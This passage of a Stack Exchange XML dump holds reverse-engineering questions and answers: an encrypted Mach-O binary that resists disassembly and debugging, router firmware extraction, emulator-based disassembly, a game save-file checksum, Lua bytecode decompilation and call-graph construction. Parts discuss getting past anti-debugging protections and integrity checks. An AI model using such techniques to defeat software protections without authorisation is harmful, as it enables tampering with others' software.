%?6,(%rax)&#xA;00000001000017d7    insl&#xA;00000001000017d8    .byte 0xd4 #bad opcode&#xA;00000001000017d9    movb    %dl,%al&#xA;00000001000017db    .byte 0xdd, 0x2f #bad opcode&#xA;00000001000017dd    lcall   $0x76f5,$0xedc7f289&#xA;00000001000017e4    subb    $0xd3,%al&#xA;00000001000017e6    mull    0xa4(%rsi)&#xA;00000001000017e9    popf&#xA;00000001000017ea    inl $0xf4,%eax&#xA;00000001000017ec    adcl    $0x413fe92b,(%rdi)&#xA;00000001000017f2    sarl    $0x12,0xf5(%rcx)&#xA;00000001000017f6    addb    %dh,0xec(%rbx,%rcx)&#xA;00000001000017fa    movabsb 0x63ea27230d2c31f2,%r8d&#xA;0000000100001804    movl    $0x12d794f0,%ecx&#xA;0000000100001809    subb    $0x20,%al&#xA;000000010000180c    shll    %esi&#xA;000000010000180e    repz/falc&#xA;0000000100001810    movb    $0xd9,%dh&#xA;0000000100001812    outl    %eax,%dx&#xA;0000000100001813    loop    0x1000017ab&#xA;0000000100001815    movl    $0x781ecd57,%edi&#xA;000000010000181b    pushq   %rdi&#xA;000000010000181c    addb    $0x7e,%ah&#xA;000000010000181f    inl $0x40,%eax&#xA;0000000100001821    adcl    $0xd480505a,%eax&#xA;0000000100001826    cmpl    $0x28a6762d,%eax&#xA;000000010000182b    ljmpl   *0x36(%rdx,%rbx)&#xA;000000010000182f    .byte 0xce #bad opcode&#xA;0000000100001830    xchgl   %edx,%eax&#xA;0000000100001831    movabsl %eax,0x6d3cb9568b4b88a5&#xA;000000010000183a    subl    0xa8d980d9(%rbx,%rdi,8),%eax&#xA;0000000100001841    popq    %rdi&#xA;0000000100001842    pushq   $0x4c&#xA;0000000100001844    subb    $0x97,%al&#xA;0000000100001846    .byte 0x43, 0x82, 0x25 #bad opcode&#xA;0000000100001849    adcb    %ah,%ah&#xA;000000010000184b    testb   0x3141d9d1(%rbx),%ah&#xA;0000000100001851    sbbl    $0xc405e320,%eax&#xA;0000000100001856    xchgl   %ecx,%eax&#xA;0000000100001857    paddb   %mm2,%mm1&#xA;000000010000185a    xorl    %edi,%edi&#xA;000000010000185c    clc&#xA;000000010000185d    jmp 0x100001885&#xA;000000010000185f    xchgl   %esi,%eax&#xA;0000000100001860    wait/jae    0x1000018a8&#xA;0000000100001863    lret&#xA;0000000100001864    jb  0x1000018ae&#xA;0000000100001866    fisubrs (%rsi)&#xA;0000000100001869    lodsb   (%esi),%al&#xA;000000010000186a    pushq   %rsp&#xA;000000010000186b    .byte 0x27 #bad opcode&#xA;000000010000186c    lret&#xA;000000010000186d    cmpl    %eax,(%rdx)&#xA;000000010000186f    orb $0xa2,%al&#xA;0000000100001871    movl    $0xb2bf2631,%ebp&#xA;0000000100001876    sti&#xA;0000000100001877    movl    0x87b0df80(%rsp,%rcx,8),%ecx&#xA;000000010000187e    hlt&#xA;000000010000187f    inb $0x42,%al&#xA;0000000100001881    andl    %esi,%ebx&#xA;0000000100001883    adcl    %eax,0xa587d6ff(%rsi)&#xA;0000000100001889    movsll  %ch,%esp&#xA;000000010000188b    clc&#xA;000000010000188c    xchgl   %ecx,%eax&#xA;000000010000188d    sbbb    $0x82,%al&#xA;000000010000188f    cwtl&#xA;0000000100001890    movl    $0x673e9a73,%ebx&#xA;0000000100001895    movb    $0x18,%bl&#xA;0000000100001899    leal    0x87(%rax),%edi&#xA;000000010000189c    .byte 0x37 #bad opcode&#xA;000000010000189d    jns 0x10000187a&#xA;000000010000189f    .byte 0x06 #bad opcode&#xA;00000001000018a0    rolb    $0x44,(%rsp,%rax,4)&#xA;00000001000018a4    movsll  %cl,%edx&#xA;00000001000018a6    fiaddl  0xf4061e00(%rip)&#xA;00000001000018ac    jo  0x100001838&#xA;00000001000018ae    stosl   %eax,(%edi)&#xA;00000001000018af    adcb    0xac1ff7e3(%rcx),%dl&#xA;00000001000018b5    testl   $0x51d2321e,%eax&#xA;00000001000018ba    movl    $0x10cb41ba,%ebp&#xA;00000001000018bf    shrb    0xa724e9d8(%rdx)&#xA;00000001000018c5    fcompl  0x31(%rbp)&#xA;00000001000018c8    xorb    (%rdi,%rdx,4),%ch&#xA;00000001000018cb    leal    %eax,%eax&#xA;00000001000018cd    addb    %dh,%ah&#xA;00000001000018cf    movsl   (%esi),(%edi)&#xA;00000001000018d0    addb    0x64cc6bfb(%rcx),%bh&#xA;00000001000018d6    testl   0xb4f698f5(%r10),%esi&#xA;00000001000018dd    mov %esp,%?6&#xA;00000001000018df    pushf&#xA;00000001000018e0    popq    %rsi&#xA;00000001000018e1    jmp 0x83f231a4&#xA;00000001000018e6    .byte 0xd3, 0xf3 #bad opcode&#xA;00000001000018e8    orl %ebp,0xf1(%rdx)&#xA;00000001000018eb    movl    $0xf2f3e10c,0x35(%rdi,%rbx)&#xA;00000001000018f3    xchgl   %esi,%eax&#xA;00000001000018f4    sbbb    %r11d,%esp&#xA;00000001000018f7    movl    $0x30412d40,%eax&#xA;00000001000018fc    insl&#xA;00000001000018ff    popq    %rsi&#xA;0000000100001900    sahf&#xA;0000000100001901    popq    %rax&#xA;0000000100001902    jrcxz   0x10000197c&#xA;0000000100001904    andl    0x758d6d0d(%rsi),%ecx&#xA;000000010000190a    movb    $0x89,%ch&#xA;000000010000190c    fistpq  0xa5(%rsi)&#xA;000000010000190f    .byte 0x62 #bad opcode&#xA;0000000100001910    sahf&#xA;0000000100001911    loop    0x10000193b&#xA;0000000100001913    jg  0x100001908&#xA;0000000100001915    cmpsl   (%esi),(%edi)&#xA;0000000100001916    movsl   (%esi),(%edi)&#xA;0000000100001917    iret&#xA;0000000100001918    scasl   %eax,(%edi)&#xA;0000000100001919    .byte 0x0e #bad opcode&#xA;000000010000191a    xorb    %cl,(%rcx)&#xA;000000010000191c    stosb   %al,(%edi)&#xA;000000010000191d    andb    $0x9b,%al&#xA;000000010000191f    cmpl    $0x72a850c7,0xbdced867(%rax,2)&#xA;000000010000192a    jae 0x1000018c0&#xA;000000010000192c    .byte 0xd3, 0xf6 #bad opcode&#xA;000000010000192e    lcall   $0x608c,$0x851d69e3&#xA;0000000100001935    .byte 0x62 #bad opcode&#xA;0000000100001936    xchgl   %ecx,%eax&#xA;0000000100001937    cmpb    %ah,%cs:%cl&#xA;000000010000193a    movsb   (%esi),(%edi)&#xA;000000010000193b    subb    $0xc7,%al&#xA;000000010000193d    outl    %eax,$0x05&#xA;000000010000193f    je  0x100001999&#xA;0000000100001941    inl $%cs:0x7d,%eax&#xA;0000000100001944    sbbl    %ebp,0x7c5ec982(%rdx)&#xA;000000010000194a    movsl   (%esi),(%edi)&#xA;000000010000194b    xchgl   %ecx,%eax&#xA;000000010000194c    movl    $0x1393211e,%ecx&#xA;0000000100001951    .byte 0x27 #bad opcode&#xA;0000000100001952    cmpsl   (%esi),(%edi)&#xA;0000000100001953    xchgl   %esp,%eax&#xA;0000000100001954    .byte 0x1f #bad opcode&#xA;0000000100001955    addl    $0x6ed2f22b,%eax&#xA;000000010000195a    insb&#xA;000000010000195b    .byte 0x67, 0xd5 #bad opcode&#xA;000000010000195d    cmpl    (%rdi),%edi&#xA;000000010000195f    popq    %rbp&#xA;0000000100001960    ret&#xA;0000000100001961    addl    $0x961d3d82,%eax&#xA;0000000100001966    ret&#xA;0000000100001967    jle 0x100001938&#xA;0000000100001969    .byte 0x1e #bad opcode&#xA;000000010000196a    loop    0x100001936&#xA;000000010000196c    movsl   (%esi),(%edi)&#xA;000000010000196d    andb    $0xfc,(%rax)&#xA;0000000100001970    xchgl   %ecx,%eax&#xA;0000000100001971    pushf&#xA;0000000100001972    movb    $0xb0,%ah&#xA;0000000100001974    popq    %rbp&#xA;0000000100001975    lahf&#xA;0000000100001976    sbbl    $0x9605ee9d,%eax&#xA;000000010000197b    incb    %bh&#xA;000000010000197d    cmpl    (%rcx),%ecx&#xA;000000010000197f    testb   0x90(%rsp,%rsi,8),%ecx&#xA;0000000100001985    repz/int    $0x3&#xA;0000000100001987    .byte 0x4c, 0x2f #bad opcode&#xA;0000000100001989    ljmp    $0x072a,$0x233e8063&#xA;0000000100001990    leave&#xA;0000000100001991    orb %al,(%rdx)&#xA;0000000100001993    andl    (%rcx),%ebp&#xA;0000000100001995    ljmpl   *(%rbx)&#xA;0000000100001997    shlb    0x26(%rdi)&#xA;000000010000199a    movl    $0x592a9d36,%esp&#xA;&lt;/pre&gt;  &#xA;&#xA;&lt;p&gt;&lt;strong&gt;LLVM disassembler fails with output&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;(__TEXT,__text) section&#xA;Segmentation fault: 11&#xA;&lt;/pre&gt;  &#xA;&#xA;&lt;p&gt;&lt;strong&gt;Injecting via cycript&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried &lt;code&gt;cycript&lt;/code&gt; to dump &lt;code&gt;image&lt;/code&gt; and patch it back via &lt;code&gt;dd&lt;/code&gt; tool, but seems this trick doesn't work and binary gets corrupted.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Debuggers&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;gdb&lt;/code&gt;/&lt;code&gt;lldb&lt;/code&gt; can't attach/start the process, as it's uses &lt;code&gt;pt_deny_atach&lt;/code&gt;/&lt;code&gt;sysctl&lt;/code&gt;/&lt;code&gt;kauth&lt;/code&gt; anti-debugging techniques.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried to patch osx kernel (as the assembly is not available and I can't &lt;code&gt;nop&lt;/code&gt; out that calls) - to ignore anti-debugging calls, but after this process doesn't event start, just hangs up (But other application like &lt;code&gt;Github&lt;/code&gt;, &lt;code&gt;iTunes&lt;/code&gt; are starting without any problem, seems it has anti-anti-anti debugging protection :)).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please advise some extra technique (or suggestion what I can try) to get the plain assembly?&lt;/p&gt;&#xA;" OwnerUserId="5825" LastActivityDate="2014-07-09T11:41:28.107" Title="Unpacking and disassembling mach-o binary" Tags="|disassembly|osx|encryption|mach-o|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4819" PostTypeId="2" ParentId="4817" CreationDate="2014-07-09T14:26:08.820" Score="8" Body="&lt;p&gt;As the names in /proc/mtd suggest, mtd0 is probably not a file system, but more likely is the boot loader. Likewise, the name of mtd3 suggests that it contains the saved configuration settings (admin password, wireless settings etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;flags&quot; and &quot;main&quot; names for mtd1 and mtd2 respectively are a bit ambiguous, but I would expect, due to the name and the size, that mtd2 contains the file system. It also probably contains the Linux kernel as well, so the file system may not start at the beginning of mtd2; once you've ftp'd off a copy of mtd2 you'll have to find the start of the file system and dd it out in order to extract/mount it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note, don't be surprised if once you find the squashfs file system, your Linux host can't mount it. There are many hacked up versions of squashfs, and you may need to find the right squashfs tools for that particular version and run unsquashfs on the image to extract the files.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2014-07-09T14:26:08.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4820" PostTypeId="2" ParentId="4817" CreationDate="2014-07-09T21:41:47.803" Score="1" Body="&lt;p&gt;I found the solution with devttys0's comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mtdblock2 contained the file system. This is obvious by the fact that it is larger in size than the other mtd devices. I ftpd this file and I then downloaded the firmware mod kit which has a script which goes through all the unsquashfs versions and attempts to extract the firmware. In this case it worked using version quashfs-3.2-r2-hg612-lzma.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2014-07-09T21:41:47.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4821" PostTypeId="1" AcceptedAnswerId="5828" CreationDate="2014-07-10T01:46:17.863" Score="7" ViewCount="1583" Body="&lt;p&gt;I learned the disassembly challenges from &lt;a href=&quot;https://www.usenix.org/legacy/event/usenix03/tech/full_papers/prasad/prasad_html/node5.html&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt;. The following six challenges are listed in that article:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Data embedded in the code regions&lt;/li&gt;&#xA;&lt;li&gt;Variable instruction size&lt;/li&gt;&#xA;&lt;li&gt;Indirect branch instructions&lt;/li&gt;&#xA;&lt;li&gt;Functions without explicit CALL sites within the executable's code segment&lt;/li&gt;&#xA;&lt;li&gt;Position independent code (PIC) sequences&lt;/li&gt;&#xA;&lt;li&gt;Hand crafted assembly code.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, I am thinking about the following disassembly method which seems to solve the above challenges. Assuming we have an executable to be disassembled, an input set that can has 100% coverage of the code, and an emulator (e.g. QEMU). Then, we can instrument the emulator to output each instruction executed by the emulated CPU and the corresponding memory address. After that, we can translate each instruction to assembly instruction, and the whole program is now disassembled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please tell me why this idea will not/will work?&lt;/p&gt;&#xA;" OwnerUserId="7028" LastEditorUserId="53" LastEditDate="2014-07-25T21:29:08.413" LastActivityDate="2014-10-14T20:30:05.860" Title="Disassemble using an emulator" Tags="|disassembly|emulation|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4822" PostTypeId="2" ParentId="4821" CreationDate="2014-07-10T02:07:13.147" Score="1" Body="&lt;p&gt;&lt;strong&gt;Dis-assembly as a technique isn't a problem&lt;/strong&gt; As long as you know the boundaries of your binary file (where the data/code starts) and you know the Instrustion Set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know you have UNIX ELF file on x86, you can just run &lt;code&gt;objdump&lt;/code&gt; on it to get disassembled output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;objdump -d &amp;lt;file&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Their research was on security&lt;/strong&gt;. They wanted to read the code boundaries, understand what certain sections of code do and then overwrite some of them. It's much harder problem (&lt;strong&gt;e.g.: when do you know the fragment being overwritten isn't actually supposed to be there?&lt;/strong&gt;)&lt;/p&gt;&#xA;" OwnerUserId="7029" LastActivityDate="2014-07-10T02:07:13.147" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4823" PostTypeId="2" ParentId="4821" CreationDate="2014-07-10T03:43:41.213" Score="2" Body="&lt;p&gt;If you want a simple answer. Code coverage. If you only trace called/executed code, how do you know you found all the code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Emulation is good to understand code when it has memory altering behavior or to understand code. Like in one of my projects I knew I had some double math functions implemented in software. So running an emu to see the results was useful to see the results to identify division verse addition functions. But the emu if started from the entry point would get into an infinite loop as the external&#xA;Interrupts did not fire at the expected times.  &lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2014-07-10T03:43:41.213" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4824" PostTypeId="1" AcceptedAnswerId="5825" CreationDate="2014-07-10T03:47:40.887" Score="4" ViewCount="3049" Body="&lt;p&gt;I recently overwrote the save game file of a video game that my girlfriend and I had been playing through. After trying to recover the file a few different ways (game didn't erase but overwrote the save file), I'm resigned to trying to rebuild the save data manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've played with reverse engineering binary executables from crackmes.de in the past with Ollydbg, but this is different and I feel like I'm a bit out of my waters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The game (Sonic All Stars Racing) uses a single .bin file to store records for four in-game accounts. Using a hex editor, pen and paper, I've begun to plot out the file structure and locate offsets for various records.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is that whenever I make a modification to the file, same size or otherwise, the game declares the save file corrupted and fails to use it. I assume that this is because the game is implementing some form of CRC/checksum on the data to prevent using a corrupted file. (Aside: are CRC and checksum interchangeable terms?)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The game saves the data to a file named &lt;code&gt;&quot;ssr_save.bin&quot;&lt;/code&gt; which is responsible for four in-game profiles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did was create four different save files by making a backup of the save file after  creating each profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each file is largely the same. 727040 bytes large. The only difference seems to be the first 12 bytes (0x00 to 0x0B inclusive). These first twelve bytes are completely unique between the four files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There does, however, appear to be more than one data object in that range as there are 3 bytes of zero in the centre of the 12.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;File 1: 19 8E 0B 60 13 00 00 00 F9 3E 00 B0&#xA;File 2: 93 7B 0F 36 13 00 00 00 B6 35 02 9B&#xA;File 3: 69 71 1B 14 13 00 00 00 A1 30 08 8A&#xA;File 4: D9 47 32 E8 13 00 00 00 D9 9B 13 74&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to figure out is what these bytes represent and how I can manipulate them to let me modify the body of the save data and not throw the corruption error in the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me find out how the game is checksumming the file and reverse engineer the process so I can create a valid file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/303145/savefiles.zip&quot; rel=&quot;nofollow&quot;&gt;Here is an archive of the four save-data files&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Troy.&lt;/p&gt;&#xA;" OwnerUserId="7030" LastActivityDate="2014-07-10T09:09:20.800" Title="Modifying a binary save-data file for a video game with a CRC/Checksum check" Tags="|binary-analysis|static-analysis|hex|cryptography|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5823" PostTypeId="2" ParentId="4618" CreationDate="2014-07-10T04:56:25.130" Score="0" Body="&lt;p&gt;If your goal is really just to recover the installer files from within the offline package, you could probably save yourself the trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Odds are that the resources are extracted on the fly into the &lt;code&gt;%TEMP%&lt;/code&gt; directory on a Windows machine which is&lt;code&gt;C:\Users\Troy\AppData\Local\Temp&lt;/code&gt; for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Unix/Linux/OSX, the files probably reside at &lt;code&gt;/tmp&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files will likely only be available while the installer is executing.&lt;/p&gt;&#xA;" OwnerUserId="7030" LastActivityDate="2014-07-10T04:56:25.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5824" PostTypeId="2" ParentId="4796" CreationDate="2014-07-10T05:59:02.907" Score="2" Body="&lt;p&gt;Seems like you should consider using &lt;a href=&quot;http://www.hiew.ru/files/hiew32demo.zip&quot; rel=&quot;nofollow&quot;&gt;Hiew&lt;/a&gt; for this kind of purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since no one offered any solutions, I'll share the &lt;a href=&quot;http://pythonarsenal.dsecrg.ru/&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt;, which represents a large number of python scripts for almost any task, so maybe one of them will be helpful.&lt;/p&gt;&#xA;" OwnerUserId="4609" LastActivityDate="2014-07-10T05:59:02.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5825" PostTypeId="2" ParentId="4824" CreationDate="2014-07-10T09:09:20.800" Score="4" Body="&lt;p&gt;This is quite hard question to answer due to variables within reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend you start off with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Start game&lt;/li&gt;&#xA;&lt;li&gt;Get some coins or whatever is saved then save the game.&lt;/li&gt;&#xA;&lt;li&gt;Restart the game and get more coins and save the game.&lt;/li&gt;&#xA;&lt;li&gt;Replace the new save with your old file.&lt;/li&gt;&#xA;&lt;li&gt;Does it load? See Answer 1. Otherwise, Answer 2.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Answer 1&lt;/strong&gt;&#xA;Your modified versions of your game files are just in the incorrect format.&#xA;You will need to some reverse engineering of how the bytes are used within the game.&#xA;I'd recommend you breakpoint CreateFile and ReadFile and step through your debugger and see how each byte is been read. Ofcourse, this can become a massive task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Answer 2&lt;/strong&gt;&#xA;The game file checksum could be stored somewhere on the file-system or registry to ensure data-integrity of the file. You could use tools such as Process Monitor to help you locate this file or you could set breakpoint on CreateFile and ReadFile and search for it yourself manually.&#xA;&lt;a href=&quot;http://technet.microsoft.com/en-gb/sysinternals/bb896645.aspx&quot; rel=&quot;nofollow&quot;&gt;http://technet.microsoft.com/en-gb/sysinternals/bb896645.aspx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you get answer 1 or 2 then I can expand my answer in more in-depth details of things you should look out for and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this will be a good starting point to your issue.&lt;/p&gt;&#xA;" OwnerUserId="4413" LastActivityDate="2014-07-10T09:09:20.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5826" PostTypeId="1" CreationDate="2014-07-10T12:15:09.323" Score="0" ViewCount="125" Body="&lt;p&gt;I am by no means a competent programmer in any sense of the word. I've only ever fiddled with .NET building very, very basic applications. If it's possible to be given step-by-step instructions, then please do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, my issue right now is figuring out a way to convert a binary file compiled for the CELL architecture to Intel. These are &lt;em&gt;binary&lt;/em&gt; files rather than &lt;em&gt;executables&lt;/em&gt;. I've thoroughly searched the net looking for answers, however all of them seem to refer to PowerPC instead of PPE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a perfect world, the preferred solution would entail simply dragging/dropping the big-endian files onto a conversion executable. Since this is not a perfect world, I wont look forward to such a thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE 1: The binary files in question are 64 bit, judging from the &lt;a href=&quot;http://www.psdevwiki.com/ps3/CELL_BE&quot; rel=&quot;nofollow&quot;&gt;specs on the CELL architecture&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE 2: Fortunately, I have versions of these binaries in both big and little-endian. Using UltraCompare (albeit taking an ungodly amount of time to compare,) I can verify byte-swapping in the headers when comparing against it's little-endian counterparts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;If you have both versions, then why do you need to convert them?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some binaries not available in little-endian and those are the ones I need.&lt;/p&gt;&#xA;" OwnerUserId="8031" LastActivityDate="2014-07-10T12:15:09.323" Title="Detecting and/or converting binary endianness (PPE [CELL] to Intel)" Tags="|binary-analysis|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5827" PostTypeId="1" AcceptedAnswerId="5829" CreationDate="2014-07-10T12:54:08.977" Score="5" ViewCount="8267" Body="&lt;p&gt;I've been experimenting with decompiling Lua bytecode and found useful tools like unluac, and LuaAssemblyTools. Unluac seems to do the trick with lua scripts compiled with luac giving me almost the exact source code, however when I convert lua script to bytecode using the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file:write(string.dump(loadfile(filename)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get a different output than with luac, however they are very much the same being only a byte extra at (a lot of) different places. Now this new file will give me an &lt;code&gt;IllegalState exception&lt;/code&gt; from unluac and when I try to run the bytecode file (created by the code line above) in luac with the -l option I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\MyDir&amp;gt;luac -l stringdumped.txt&#xA;luac: stringdumped.txt: bad integer in precompiled chunk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So there is clearly a difference between &lt;code&gt;string.dump&lt;/code&gt; and luac, even though it is suggested here: &lt;a href=&quot;http://lua-users.org/wiki/LuaCompilerInLua&quot; rel=&quot;nofollow&quot;&gt;http://lua-users.org/wiki/LuaCompilerInLua&lt;/a&gt; to use &lt;code&gt;string.dump&lt;/code&gt; as an emulator for luac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone explain the difference to me, and suggest how I would go about reversing a &lt;code&gt;string.dump&lt;/code&gt; &quot;compiled&quot; script?&lt;/p&gt;&#xA;" OwnerUserId="8032" LastEditorUserId="53" LastEditDate="2017-04-28T12:53:58.297" LastActivityDate="2017-04-28T12:53:58.297" Title="Decompiling/disassembling lua bytecode" Tags="|disassembly|decompile|byte-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5828" PostTypeId="2" ParentId="4821" CreationDate="2014-07-10T15:33:13.300" Score="10" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;an input set that can has 100% coverage of the code&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This may be &lt;em&gt;very&lt;/em&gt; difficult to achieve, especially if the code behavior depends on something that you don't directly control (time, memory, OS version/environment, random number generator etc.). Additional observations:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;actually executing all that code may take more time than you can afford&lt;/li&gt;&#xA;&lt;li&gt;executing some parts of the code may require conditions you cannot satisfy (e.g. a specific hardware peripheral)&lt;/li&gt;&#xA;&lt;li&gt;you will miss code which is present in binary but never executes (dead code). In some cases such code can reveal additional information about the binary&lt;/li&gt;&#xA;&lt;li&gt;your approach may discover all code, but it will likely miss a lot of &lt;em&gt;data&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;However, it does not mean that the approach is completely useless. In fact there's already been some work in this area. For example, check out the S2E (Selective Symbolic Execution) project:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://sites.google.com/site/dslabepfl/proj/s2e&quot; rel=&quot;noreferrer&quot;&gt;https://sites.google.com/site/dslabepfl/proj/s2e&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Conceptually, S2E is an automated path explorer with modular path analyzers: the explorer drives the target system down all execution paths of interest, while analyzers check properties of each such path (e.g., to look for bugs) or simply collect information (e.g., count page faults). Desired paths can be specified in multiple ways, and one can either combine existing analyzers to build a custom analysis tool, or write new analyzers using the S2E API.&lt;/p&gt;&#xA;&lt;p&gt;S2E helps make analyses based on symbolic execution practical for large software that runs in real environments, without requiring explicit modeling of these environments.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2014-07-10T15:33:13.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5829" PostTypeId="2" ParentId="5827" CreationDate="2014-07-10T17:26:42.553" Score="3" Body="&lt;p&gt;There is virtually no difference between the bytecode emitted by &lt;code&gt;loadfile&lt;/code&gt; and &lt;code&gt;luac&lt;/code&gt;.&#xA;The only possible reason for the error you are getting is that you are opening the file &lt;em&gt;stringdumped.txt&lt;/em&gt; in text mode. Try the following code and see if there are any errors&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f = io.open(&quot;stringdumped.txt&quot;, &quot;wb&quot;) --Note that file is opened in binary mode&#xA;f:write(string.dump(loadfile(&quot;sample.lua&quot;)))&#xA;f:close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since there is no difference, the output file &lt;em&gt;stringdumped.txt&lt;/em&gt; can both be run by the lua interpreter as well as decompiled by &lt;em&gt;unluac&lt;/em&gt;. The reversing steps too are exactly similar as you would do with any other compiled lua scripts.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2014-07-12T18:22:07.503" LastActivityDate="2014-07-12T18:22:07.503" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5830" PostTypeId="1" AcceptedAnswerId="5831" CreationDate="2014-07-10T17:44:34.873" Score="5" ViewCount="4396" Body="&lt;p&gt;I am trying to generate a &lt;em&gt;coarse-grained&lt;/em&gt; Call Graph based on some assembly code disassembled from binary on x86 32 bit platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is very hard to generate a precise Call Graph based on asm code, thinking of various indirect control flow transfer, so right now I &lt;strong&gt;only consider direct control flow transfer&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So firstly I am trying to identify &lt;code&gt;functions&lt;/code&gt; (begin and end addresses) in the disassembled assembly code &#xA;from a &lt;strong&gt;stripped&lt;/strong&gt; binary on x86, 32bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, my plan is somehow like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the begin addresses, I might conservatively consider any assembly code looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    push %ebp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;indicates the beginning address of a function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and also, I might scan the whole problem, identifying all the &lt;code&gt;call&lt;/code&gt; instruction with the destination, the consider these function call's destinations as all the function begin address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problems 